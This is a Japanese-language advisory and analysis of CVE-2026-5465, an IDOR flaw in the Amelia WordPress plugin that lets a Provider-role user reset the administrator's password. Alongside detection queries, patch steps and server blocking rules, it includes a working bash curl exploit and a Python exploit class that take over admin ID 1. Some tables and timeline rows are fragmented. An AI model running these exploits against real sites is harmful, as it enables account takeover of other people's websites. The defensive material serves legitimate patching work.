
CVE-2026-5465のエクスプロイトと分析。Amelia WordPressプラグインのIDOR(安全でない直接オブジェクト参照)により、認証されたProviderロールが権限を昇格させ、アカウント乗っ取りを達成できる脆弱性です。
Amelia プラグインの**安全でない直接オブジェクト参照(IDOR)**による重大な脆弱性。認証された「従業員(Provider)」ロールのユーザーが、WordPress サイトの完全な乗っ取り(Account Takeover)を含む管理アクセスまで権限を昇格できる可能性があります。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2026-5465 |
| ソフトウェア | Amelia – Appointment Booking Calendar |
| 影響を受けるバージョン | ≤ 2.1.3 |
| パッチ適用済みバージョン | ≥ 2.2.0 |
| タイプ | 安全でない直接オブジェクト参照(IDOR)/ アクセス制御の欠陥 |
| ベクトル | ネットワーク(認証済み) |
| 複雑性 | 低 |
| 影響 | 重大(アカウント乗っ取り) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639(認可バイパス) |
この欠陥は、プロバイダープロフィールの更新を処理する UpdateProviderCommandHandler クラスに存在します。
脆弱なフロー:
1. 「Provider」(従業員)として認証されたユーザー
↓
2. 更新エンドポイントに POST リクエストを送信
{
"externalId": 1, // 攻撃者ではなく管理者の ID
"firstName": "Admin Pirateado",
"email": "[email protected]",
"password": "nueva_contraseña"
}
↓
3. システムは 'externalId' が現在のユーザーに属するかどうかを検証しない
↓
4. wp_set_password(externalId, new_password) を使用
↓
5. 管理者のパスワードが変更される → アカウント乗っ取り
機密データを処理する前に所有権チェック(Ownership Check)が欠如していること:
// 脆弱なコード(簡略化)
public function updateProvider($providerId, $data) {
// ❌ providerId == 現在のユーザーかどうかを検証していない
$provider = Provider::find($providerId);
// 検証なしで直接実行
wp_set_password($data['password'], $provider->wp_user_id);
}
// 修正済みコード
public function updateProvider($providerId, $data) {
// ✅ 所有権を検証
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1
# セキュリティ NONCE を取得(存在する場合)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# 悪意のある更新を実行
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] レスポンスが 200 の場合、管理者は侵害された"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""IDOR を悪用して管理者のパスワードを変更する"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] 悪用成功: ユーザー {target_user_id} が侵害されました")
print(f"[*] 新しいパスワード: {new_password}")
return True
else:
print(f"[✗] 失敗: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] 接続エラー: {e}")
return False
# 使用法
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://ejemplo.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
WordPress 監査ログ(インストールされている場合):
ユーザー: [Provider ID]
アクション: ユーザーパスワード変更
影響を受けたユーザー: 管理者
タイムスタンプ: [不審な時刻]
サーバーログ(Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [大きい値]
→ レスポンス 200 OK
WordPress データベース:
-- 不正なパスワード変更
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- 不審なメール変更
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/ への複数回の POST 試行# WordPress 管理パネル経由
1. 移動: プラグイン > インストール済みプラグイン
2. 検索: "Amelia"
3. クリック: "今すぐ更新"
4. 安全な最小バージョン: 2.2.0+
# WP-CLI 経由
wp plugin update amelia --allow-root
# WP-CLI 経由
wp plugin deactivate amelia --allow-root
# FTP/SFTP 経由
名前変更: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx(nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# GET のみ許可
if ($request_method = POST) {
return 403;
}
}
Apache(.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
サイトがすでに悪用された場合:
-- CLI 経由で管理者パスワードを変更
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# プラグインをインストールして確認: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// wp-config.php で再生成:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
Cloudflare WAF ルール:
- ブロック: ホワイトリストに登録されていない IP からの /wp-json/amelia/v1/providers/[0-9]+ への POST
# 監査プラグインのインストール
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// Provider の権限を制限
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| 日付 | イベント |
|---|---|
| 2026-01-15 | Amelia チームに脆弱性が報告される |
| 2026-02-01 | パッチが利用可能(v2.2.0) |
| 2026-02-10 | CVE の責任ある公開 |
分類: 🔴 重大 - 即時対応が必要
最終更新: 2026年4月
作成者: セキュリティチーム
| パラメータ | 型 | 影響 |
|---|
externalId | 整数 | アイデンティティ変更(IDOR の中核) |
password | 文字列 | パスワード変更 |
email | メール | リセットされた場合のセッション乗っ取り |
firstName, lastName | 文字列 | 重要ではないデータの改ざん |
| 2026-02-11 | 実環境での悪用 |
| 本日 | 緊急更新の推奨 |